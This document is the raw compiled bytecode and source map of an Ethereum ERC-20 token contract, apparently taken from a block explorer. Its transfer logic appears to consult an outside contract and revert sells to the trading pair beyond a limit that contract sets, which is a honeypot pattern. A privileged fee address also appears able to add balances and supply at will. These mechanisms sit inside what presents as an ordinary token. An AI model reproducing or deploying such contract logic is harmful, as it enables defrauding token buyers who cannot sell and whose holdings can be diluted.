0316331461089057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b031633146108c857600080fd5b600681106108d557600080fd5b600655565b600061042c338484610c28565b6007546001600160a01b031633146108fe57600080fd5b815160005b81811015610943576109313085838151811061092157610921611690565b60200260200101518560006110ad565b8061093b816116bc565b915050610903565b50505050565b6007546001600160a01b0316331461096057600080fd5b306000908152600260205260409020546104c0816111b1565b6007546001600160a01b0316331461099057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146109cb57600080fd5b6009546001600160a01b031663f305d71947306109fd816001600160a01b031660009081526002602052604090205490565b600080610a126000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a7a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9f91906116d7565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b6000610afd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132b565b9392505050565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054f565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054f565b6001600160a01b038216610cee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054f565b60008111610d505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054f565b6001600160a01b03831660009081526004602052604090205460ff16610e2657604051635cf85fb360e11b815230600482015273272dd614cc4f4a58dc85cebe70c941de62cd4aba9063b9f0bf6690602401602060405180830381865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611705565b600a546001600160a01b038481169116148015610e0e57506009546001600160a01b03858116911614155b610e19576000610e1b565b815b1115610e2657600080fd5b6000546001600160a01b03848116911614801590610e5257506000546001600160a01b03838116911614155b15610f7557600a546001600160a01b038481169116148015610e8257506009546001600160a01b03838116911614155b8015610ea757506001600160a01b03821660009081526004602052604090205460ff16155b15610efd576008548110610efd5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161054f565b30600090815260026020526040902054600a54600160a81b900460ff16158015610f355750600a546001600160a01b03858116911614155b8015610f4a5750600a54600160b01b900460ff165b15610f7357610f58816111b1565b47670de0b6b3a76400008110610f7157610f7147611010565b505b505b6001600160a01b038216600090815260046020526040902054610fd19084908490849060ff1680610fbe57506001600160a01b03871660009081526004602052604090205460ff165b610fca576006546110ad565b60006110ad565b505050565b60008184841115610ffa5760405162461bcd60e51b815260040161054f919061141a565b506000611007848661171e565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561104a573d6000803e3d6000fd5b5050565b60008061105b8385611735565b905083811015610afd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054f565b60006110c460646110be8585611359565b90610abb565b905060006110d284836113d8565b6001600160a01b0387166000908152600260205260409020549091506110f890856113d8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611127908261104e565b6001600160a01b038616600090815260026020526040808220929092553081522054611153908361104e565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f9576111f9611690565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611252573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112769190611651565b8160018151811061128957611289611690565b6001600160a01b0392831660209182029290920101526009546112af9130911684610b04565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e890859060009086903090429060040161174d565b600060405180830381600087803b15801561130257600080fd5b505af1158015611316573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6000818361134c5760405162461bcd60e51b815260040161054f919061141a565b50600061100784866117be565b60008261136857506000610430565b600061137483856117e0565b90508261138185836117be565b14610afd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054f565b6000610afd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd6565b600060208083528351808285015260005b818110156114475785810183015185820160400152820161142b565b81811115611459576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b803561148f8161146f565b919050565b600080604083850312156114a757600080fd5b82356114b28161146f565b946020939093013593505050565b6000806000606084860312156114d557600080fd5b83356114e08161146f565b925060208401356114f08161146f565b929592945050506040919091013590565b60006020828403121561151357600080fd5b8135610afd8161146f565b60006020828403121561153057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561156057600080fd5b823567ffffffffffffffff8082111561157857600080fd5b818501915085601f83011261158c57600080fd5b81356020828211156115a0576115a0611537565b8160051b604051601f19603f830116810181811086821117156115c5576115c5611537565b6040529283528183019350848101820192898411156115e357600080fd5b948201945b83861015611608576115f986611484565b855294820194938201936115e8565b9997909101359750505050505050565b6000806040838503121561162b57600080fd5b82356116368161146f565b915060208301356116468161146f565b809150509250929050565b60006020828403121561166357600080fd5b8151610afd8161146f565b60006020828403121561168057600080fd5b81518015158114610afd57600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116d0576116d06116a6565b5060010190565b6000806000606084860312156116ec57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171757600080fd5b5051919050565b600082821015611730576117306116a6565b500390565b60008219821115611748576117486116a6565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561179d5784516001600160a01b031683529383019391830191600101611778565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117db57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156117fa576117fa6116a6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207398ab7cb7fcbc842c987c05da13b5ec0379910e296a20f9af88f74cca4c825664736f6c634300080a0033

Deployed Bytecode Sourcemap

4191:6475:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5382:74;;;;;;;;;;-1:-1:-1;4649:10:0;;;;;;;;;;;;-1:-1:-1;;;4649:10:0;;;;5382:74;;;;;;;:::i;:::-;;;;;;;;6124:146;;;;;;;;;;-1:-1:-1;6124:146:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;6124:146:0;1211:187:1;5623:86:0;;;;;;;;;;-1:-1:-1;5697:7:0;;5623:86;;;1549:25:1;;;1537:2;1522:18;5623:86:0;1403:177:1;6275:292:0;;;;;;;;;;-1:-1:-1;6275:292:0;;;;;:::i;:::-;;:::i;5544:74::-;;;;;;;;;;-1:-1:-1;5544:74:0;;849:1;2188:36:1;;2176:2;2161:18;5544:74:0;2046:184:1;10515:144:0;;;;;;;;;;;;;:::i;:::-;;8764:79;;;;;;;;;;;;;:::i;9324:320::-;;;;;;;;;;;;;:::i;8936:166::-;;;;;;;;;;-1:-1:-1;8936:166:0;;;;;:::i;:::-;;:::i;5714:109::-;;;;;;;;;;-1:-1:-1;5714:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;5801:17:0;5780:7;5801:17;;;:8;:17;;;;;;;5714:109;4047:133;;;;;;;;;;;;;:::i;8055:108::-;;;;;;;;;;-1:-1:-1;8055:108:0;;;;;:::i;:::-;;:::i;3863:70::-;;;;;;;;;;-1:-1:-1;3901:7:0;3922:6;3863:70;;-1:-1:-1;;;;;3922:6:0;;;2633:51:1;;2621:2;2606:18;3863:70:0;2487:203:1;5461:78:0;;;;;;;;;;-1:-1:-1;4697:12:0;;;;;;;;;;;;-1:-1:-1;;;4697:12:0;;;;5461:78;;8634:125;;;;;;;;;;-1:-1:-1;8634:125:0;;;;;:::i;:::-;;:::i;5828:152::-;;;;;;;;;;-1:-1:-1;5828:152:0;;;;;:::i;:::-;;:::i;9107:212::-;;;;;;;;;;-1:-1:-1;9107:212:0;;;;;:::i;:::-;;:::i;10365:145::-;;;;;;;;;;;;;:::i;5985:134::-;;;;;;;;;;-1:-1:-1;5985:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;6087:18:0;;;6066:7;6087:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5985:134;7948:102;;;;;;;;;;-1:-1:-1;7948:102:0;;;;;:::i;:::-;;:::i;9649:226::-;;;;;;;;;;;;;:::i;6124:146::-;6199:4;6210:39;1779:10;6233:7;6242:6;6210:8;:39::i;:::-;-1:-1:-1;6261:4:0;6124:146;;;;;:::o;6275:292::-;6373:4;6384:36;6394:6;6402:9;6413:6;6384:9;:36::i;:::-;6425:121;6434:6;1779:10;6456:89;6494:6;6456:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6456:19:0;;;;;;:11;:19;;;;;;;;1779:10;6456:33;;;;;;;;;;:37;:89::i;:::-;6425:8;:121::i;:::-;-1:-1:-1;6558:4:0;6275:292;;;;;:::o;10515:144::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;10596:21:::1;10622:32;10596:21:::0;10622:12:::1;:32::i;:::-;10562:97;10515:144::o:0;8764:79::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;8831:7:::1;::::0;8818:12:::1;:20:::0;8764:79::o;9324:320::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;9393:9:::1;::::0;-1:-1:-1;;;9393:9:0;::::1;;;9392:10;9384:45;;;::::0;-1:-1:-1;;;9384:45:0;;4803:2:1;9384:45:0::1;::::0;::::1;4785:21:1::0;4842:2;4822:18;;;4815:30;4881:25;4861:18;;;4854:53;4924:18;;9384:45:0::1;;;;;;;;;9466:8;::::0;9477:7:::1;::::0;9434:51:::1;::::0;9451:4:::1;::::0;-1:-1:-1;;;;;9466:8:0;;::::1;::::0;9434::::1;:51::i;:::-;9516:8;;;;;;;;;-1:-1:-1::0;;;;;9516:8:0::1;-1:-1:-1::0;;;;;9516:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9498:48:0::1;;9555:4;9562:8;;;;;;;;;-1:-1:-1::0;;;;;9562:8:0::1;-1:-1:-1::0;;;;;9562:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9498:80;::::0;-1:-1:-1;;;;;;9498:80:0::1;::::0;;;;;;-1:-1:-1;;;;;5439:15:1;;;9498:80:0::1;::::0;::::1;5421:34:1::0;5491:15;;5471:18;;;5464:43;5356:18;;9498:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9490:5;:88:::0;;-1:-1:-1;;;;;;9490:88:0::1;-1:-1:-1::0;;;;;9490:88:0;;::::1;::::0;;::::1;::::0;;;9613:8:::1;::::0;9583:56:::1;::::0;-1:-1:-1;;;9583:56:0;;9613:8;::::1;9583:56;::::0;::::1;5692:51:1::0;-1:-1:-1;;5759:18:1;;;5752:34;9490:88:0;9583:21:::1;::::0;5665:18:1;;9583:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;8936:166::-:0;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;-1:-1:-1;;;;;9034:19:0;::::1;;::::0;;;:8:::1;:19;::::0;;;;;:31:::1;::::0;9058:6;9034:23:::1;:31::i;:::-;-1:-1:-1::0;;;;;9014:19:0;::::1;;::::0;;;:8:::1;:19;::::0;;;;:51;9078:7:::1;::::0;:19:::1;::::0;9090:6;9078:11:::1;:19::i;:::-;9070:7;:27:::0;-1:-1:-1;;8936:166:0:o;4047:133::-;3972:6;;-1:-1:-1;;;;;3972:6:0;1779:10;3972:22;3964:67;;;;-1:-1:-1;;;3964:67:0;;6281:2:1;3964:67:0;;;6263:21:1;;;6300:18;;;6293:30;6359:34;6339:18;;;6332:62;6411:18;;3964:67:0;6079:356:1;3964:67:0;4148:1:::1;4132:6:::0;;4111:40:::1;::::0;-1:-1:-1;;;;;4132:6:0;;::::1;::::0;4111:40:::1;::::0;4148:1;;4111:40:::1;4173:1;4156:19:::0;;-1:-1:-1;;;;;;4156:19:0::1;::::0;;4047:133::o;8055:108::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;-1:-1:-1;;;;;8127:25:0::1;8153:5;8127:25:::0;;;:18:::1;:25;::::0;;;;:31;;-1:-1:-1;;8127:31:0::1;::::0;;8055:108::o;8634:125::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;694:1:::1;8708:10;:22;8700:31;;;::::0;::::1;;8736:7;:18:::0;8634:125::o;5828:152::-;5906:4;5917:42;1779:10;5941:9;5952:6;5917:9;:42::i;9107:212::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;9206:17;;9197:8:::1;9228:87;9243:3;9241:1;:5;9228:87;;;9257:52;9280:4;9286:10;9297:1;9286:13;;;;;;;;:::i;:::-;;;;;;;9300:6;9307:1;9257:14;:52::i;:::-;9247:3:::0;::::1;::::0;::::1;:::i;:::-;;;;9228:87;;;;9192:127;9107:212:::0;;:::o;10365:145::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;10461:4:::1;10417:23;5801:17:::0;;;:8;:17;;;;;;10472:33:::1;5801:17:::0;10472:16:::1;:33::i;7948:102::-:0;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;-1:-1:-1;;;;;8015:25:0::1;;::::0;;;:18:::1;:25;::::0;;;;:30;;-1:-1:-1;;8015:30:0::1;8041:4;8015:30;::::0;;7948:102::o;9649:226::-;8590:10;;-1:-1:-1;;;;;8590:10:0;1779;8590:26;8582:36;;;;;;9703:8:::1;::::0;-1:-1:-1;;;;;9703:8:0::1;:24;9735:21;9766:4;9772:24;9766:4:::0;-1:-1:-1;;;;;5801:17:0;5780:7;5801:17;;;:8;:17;;;;;;;5714:109;9772:24:::1;9797:1;9799::::0;9801:7:::1;3901::::0;3922:6;-1:-1:-1;;;;;3922:6:0;;3863:70;9801:7:::1;9703:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9703:122:0;;;-1:-1:-1;;;;;7203:15:1;;;9703:122:0::1;::::0;::::1;7185:34:1::0;7235:18;;;7228:34;;;;7278:18;;;7271:34;;;;7321:18;;;7314:34;7385:15;;;7364:19;;;7357:44;9809:15:0::1;7417:19:1::0;;;7410:35;7119:19;;9703:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9830:12:0::1;:19:::0;;-1:-1:-1;;;;9854:16:0;-1:-1:-1;;;9854:16:0;;;-1:-1:-1;9649:226:0:o;3153:123::-;3211:7;3232:39;3236:1;3239;3232:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3225:46;3153:123;-1:-1:-1;;;3153:123:0:o;6572:308::-;-1:-1:-1;;;;;6659:19:0;;6651:68;;;;-1:-1:-1;;;6651:68:0;;7969:2:1;6651:68:0;;;7951:21:1;8008:2;7988:18;;;7981:30;8047:34;8027:18;;;8020:62;-1:-1:-1;;;8098:18:1;;;8091:34;8142:19;;6651:68:0;7767:400:1;6651:68:0;-1:-1:-1;;;;;6732:21:0;;6724:68;;;;-1:-1:-1;;;6724:68:0;;8374:2:1;6724:68:0;;;8356:21:1;8413:2;8393:18;;;8386:30;8452:34;8432:18;;;8425:62;-1:-1:-1;;;8503:18:1;;;8496:32;8545:19;;6724:68:0;8172:398:1;6724:68:0;-1:-1:-1;;;;;6797:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6843:32;;1549:25:1;;;6843:32:0;;1522:18:1;6843:32:0;;;;;;;6572:308;;;:::o;6885:1058::-;-1:-1:-1;;;;;6967:18:0;;6959:68;;;;-1:-1:-1;;;6959:68:0;;8777:2:1;6959:68:0;;;8759:21:1;8816:2;8796:18;;;8789:30;8855:34;8835:18;;;8828:62;-1:-1:-1;;;8906:18:1;;;8899:35;8951:19;;6959:68:0;8575:401:1;6959:68:0;-1:-1:-1;;;;;7040:16:0;;7032:64;;;;-1:-1:-1;;;7032:64:0;;9183:2:1;7032:64:0;;;9165:21:1;9222:2;9202:18;;;9195:30;9261:34;9241:18;;;9234:62;-1:-1:-1;;;9312:18:1;;;9305:33;9355:19;;7032:64:0;8981:399:1;7032:64:0;7118:1;7109:6;:10;7101:64;;;;-1:-1:-1;;;7101:64:0;;9587:2:1;7101:64:0;;;9569:21:1;9626:2;9606:18;;;9599:30;9665:34;9645:18;;;9638:62;-1:-1:-1;;;9716:18:1;;;9709:39;9765:19;;7101:64:0;9385:405:1;7101:64:0;-1:-1:-1;;;;;7174:24:0;;;;;;:18;:24;;;;;;;;7170:147;;7271:39;;-1:-1:-1;;;7271:39:0;;7304:4;7271:39;;;2633:51:1;938:42:0;;7271:24;;2606:18:1;;7271:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7221:5;;-1:-1:-1;;;;;7215:11:0;;;7221:5;;7215:11;:40;;;;-1:-1:-1;7246:8:0;;-1:-1:-1;;;;;7230:25:0;;;7246:8;;7230:25;;7215:40;7214:52;;7265:1;7214:52;;;7258:6;7214:52;7213:97;;7205:106;;;;;;3901:7;3922:6;-1:-1:-1;;;;;7329:15:0;;;3922:6;;7329:15;;;;:32;;-1:-1:-1;3901:7:0;3922:6;-1:-1:-1;;;;;7348:13:0;;;3922:6;;7348:13;;7329:32;7325:516;;;7381:5;;-1:-1:-1;;;;;7373:13:0;;;7381:5;;7373:13;:40;;;;-1:-1:-1;7404:8:0;;-1:-1:-1;;;;;7390:23:0;;;7404:8;;7390:23;;7373:40;:68;;;;-1:-1:-1;;;;;;7419:22:0;;;;;;:18;:22;;;;;;;;7417:24;7373:68;7369:146;;;7466:12;;7459:6;:19;7451:57;;;;-1:-1:-1;;;7451:57:0;;10186:2:1;7451:57:0;;;10168:21:1;10225:2;10205:18;;;10198:30;10264:28;10244:18;;;10237:56;10310:18;;7451:57:0;9984:350:1;7451:57:0;7571:4;7522:28;5801:17;;;:8;:17;;;;;;7588:7;;-1:-1:-1;;;7588:7:0;;;;7587:8;:25;;;;-1:-1:-1;7607:5:0;;-1:-1:-1;;;;;7599:13:0;;;7607:5;;7599:13;;7587:25;:41;;;;-1:-1:-1;7616:12:0;;-1:-1:-1;;;7616:12:0;;;;7587:41;7583:253;;;7637:38;7654:20;7637:16;:38::i;:::-;7711:21;884:19;7742:35;;7739:91;;7787:35;7800:21;7787:12;:35::i;:::-;7630:206;7583:253;7363:478;7325:516;-1:-1:-1;;;;;7878:22:0;;;;;;:18;:22;;;;;;7847:91;;7862:4;;7867:2;;7870:6;;7878:22;;;:48;;-1:-1:-1;;;;;;7902:24:0;;;;;;:18;:24;;;;;;;;7878:48;7877:60;;7930:7;;7847:14;:91::i;7877:60::-;7928:1;7847:14;:91::i;:::-;6885:1058;;;:::o;2770:169::-;2856:7;2886:12;2878:6;;;;2870:29;;;;-1:-1:-1;;;2870:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2904:9:0;2916:5;2920:1;2916;:5;:::i;:::-;2904:17;2770:169;-1:-1:-1;;;;;2770:169:0:o;8848:83::-;8899:10;;:27;;-1:-1:-1;;;;;8899:10:0;;;;:27;;;;;8919:6;;8899:10;:27;:10;:27;8919:6;8899:10;:27;;;;;;;;;;;;;;;;;;;;;8848:83;:::o;2475:158::-;2533:7;;2559:5;2563:1;2559;:5;:::i;:::-;2547:17;;2582:1;2577;:6;;2569:46;;;;-1:-1:-1;;;2569:46:0;;10804:2:1;2569:46:0;;;10786:21:1;10843:2;10823:18;;;10816:30;10882:29;10862:18;;;10855:57;10929:18;;2569:46:0;10602:351:1;9880:446:0;9986:13;10002:29;10027:3;10002:20;:7;10014;10002:11;:20::i;:::-;:24;;:29::i;:::-;9986:45;-1:-1:-1;10036:23:0;10062:18;:7;9986:45;10062:11;:18::i;:::-;-1:-1:-1;;;;;10106:16:0;;;;;;:8;:16;;;;;;10036:44;;-1:-1:-1;10106:29:0;;10127:7;10106:20;:29::i;:::-;-1:-1:-1;;;;;10087:16:0;;;;;;;:8;:16;;;;;;:48;;;;10162:19;;;;;;;:40;;10186:15;10162:23;:40::i;:::-;-1:-1:-1;;;;;10140:19:0;;;;;;:8;:19;;;;;;:62;;;;10250:4;10233:23;;;;:34;;10261:5;10233:27;:34::i;:::-;10224:4;10207:23;;;;:8;:23;;;;;;;;;:60;;;;10277:44;1549:25:1;;;-1:-1:-1;;;;;10277:44:0;;;;;;;;;;1522:18:1;10277:44:0;;;;;;;9981:345;;9880:446;;;;:::o;8168:378::-;4949:7;:14;;-1:-1:-1;;;;4949:14:0;-1:-1:-1;;;4949:14:0;;;8264:16:::1;::::0;;8278:1:::1;8264:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8264:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8264:16:0::1;8240:40;;8303:4;8285;8290:1;8285:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8285:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8323:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;8323:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;8285:7;;8323:15;;;;;:8;:15:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8313:4;8318:1;8313:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8313:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;8375:8:::1;::::0;8343:55:::1;::::0;8360:4:::1;::::0;8375:8:::1;8386:11:::0;8343:8:::1;:55::i;:::-;8403:8;::::0;:138:::1;::::0;-1:-1:-1;;;8403:138:0;;-1:-1:-1;;;;;8403:8:0;;::::1;::::0;:59:::1;::::0;:138:::1;::::0;8468:11;;8403:8:::1;::::0;8492:4;;8510::::1;::::0;8521:15:::1;::::0;8403:138:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4974:7:0;:15;;-1:-1:-1;;;;4974:15:0;;;-1:-1:-1;;;;8168:378:0:o;3281:168::-;3367:7;3396:12;3389:5;3381:28;;;;-1:-1:-1;;;3381:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3414:9:0;3426:5;3430:1;3426;:5;:::i;2944:204::-;3002:7;3020:6;3016:32;;-1:-1:-1;3041:1:0;3034:8;;3016:32;3052:9;3064:5;3068:1;3064;:5;:::i;:::-;3052:17;-1:-1:-1;3091:1:0;3082:5;3086:1;3052:17;3082:5;:::i;:::-;:10;3074:56;;;;-1:-1:-1;;;3074:56:0;;12540:2:1;3074:56:0;;;12522:21:1;12579:2;12559:18;;;12552:30;12618:34;12598:18;;;12591:62;-1:-1:-1;;;12669:18:1;;;12662:31;12710:19;;3074:56:0;12338:397:1;2638:127:0;2696:7;2717:43;2721:1;2724;2717:43;;;;;;;;;;;;;;;;;:3;:43::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:134;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:247::-;2294:6;2347:2;2335:9;2326:7;2322:23;2318:32;2315:52;;;2363:1;2360;2353:12;2315:52;2402:9;2389:23;2421:31;2446:5;2421:31;:::i;2695:180::-;2754:6;2807:2;2795:9;2786:7;2782:23;2778:32;2775:52;;;2823:1;2820;2813:12;2775:52;-1:-1:-1;2846:23:1;;2695:180;-1:-1:-1;2695:180:1:o;2880:127::-;2941:10;2936:3;2932:20;2929:1;2922:31;2972:4;2969:1;2962:15;2996:4;2993:1;2986:15;3012:1191;3105:6;3113;3166:2;3154:9;3145:7;3141:23;3137:32;3134:52;;;3182:1;3179;3172:12;3134:52;3222:9;3209:23;3251:18;3292:2;3284:6;3281:14;3278:34;;;3308:1;3305;3298:12;3278:34;3346:6;3335:9;3331:22;3321:32;;3391:7;3384:4;3380:2;3376:13;3372:27;3362:55;;3413:1;3410;3403:12;3362:55;3449:2;3436:16;3471:4;3494:2;3490;3487:10;3484:36;;;3500:18;;:::i;:::-;3546:2;3543:1;3539:10;3578:2;3572:9;3641:2;3637:7;3632:2;3628;3624:11;3620:25;3612:6;3608:38;3696:6;3684:10;3681:22;3676:2;3664:10;3661:18;3658:46;3655:72;;;3707:18;;:::i;:::-;3743:2;3736:22;3793:18;;;3827:15;;;;-1:-1:-1;3869:11:1;;;3865:20;;;3897:19;;;3894:39;;;3929:1;3926;3919:12;3894:39;3953:11;;;;3973:148;3989:6;3984:3;3981:15;3973:148;;;4055:23;4074:3;4055:23;:::i;:::-;4043:36;;4006:12;;;;4099;;;;3973:148;;;4140:6;4178:18;;;;4165:32;;-1:-1:-1;;;;;;;3012:1191:1:o;4208:388::-;4276:6;4284;4337:2;4325:9;4316:7;4312:23;4308:32;4305:52;;;4353:1;4350;4343:12;4305:52;4392:9;4379:23;4411:31;4436:5;4411:31;:::i;:::-;4461:5;-1:-1:-1;4518:2:1;4503:18;;4490:32;4531:33;4490:32;4531:33;:::i;:::-;4583:7;4573:17;;;4208:388;;;;;:::o;4953:251::-;5023:6;5076:2;5064:9;5055:7;5051:23;5047:32;5044:52;;;5092:1;5089;5082:12;5044:52;5124:9;5118:16;5143:31;5168:5;5143:31;:::i;5797:277::-;5864:6;5917:2;5905:9;5896:7;5892:23;5888:32;5885:52;;;5933:1;5930;5923:12;5885:52;5965:9;5959:16;6018:5;6011:13;6004:21;5997:5;5994:32;5984:60;;6040:1;6037;6030:12;6440:127;6501:10;6496:3;6492:20;6489:1;6482:31;6532:4;6529:1;6522:15;6556:4;6553:1;6546:15;6572:127;6633:10;6628:3;6624:20;6621:1;6614:31;6664:4;6661:1;6654:15;6688:4;6685:1;6678:15;6704:135;6743:3;-1:-1:-1;;6764:17:1;;6761:43;;;6784:18;;:::i;:::-;-1:-1:-1;6831:1:1;6820:13;;6704:135::o;7456:306::-;7544:6;7552;7560;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7658:9;7652:16;7642:26;;7708:2;7697:9;7693:18;7687:25;7677:35;;7752:2;7741:9;7737:18;7731:25;7721:35;;7456:306;;;;;:::o;9795:184::-;9865:6;9918:2;9906:9;9897:7;9893:23;9889:32;9886:52;;;9934:1;9931;9924:12;9886:52;-1:-1:-1;9957:16:1;;9795:184;-1:-1:-1;9795:184:1:o;10339:125::-;10379:4;10407:1;10404;10401:8;10398:34;;;10412:18;;:::i;:::-;-1:-1:-1;10449:9:1;;10339:125::o;10469:128::-;10509:3;10540:1;10536:6;10533:1;10530:13;10527:39;;;10546:18;;:::i;:::-;-1:-1:-1;10582:9:1;;10469:128::o;10958:980::-;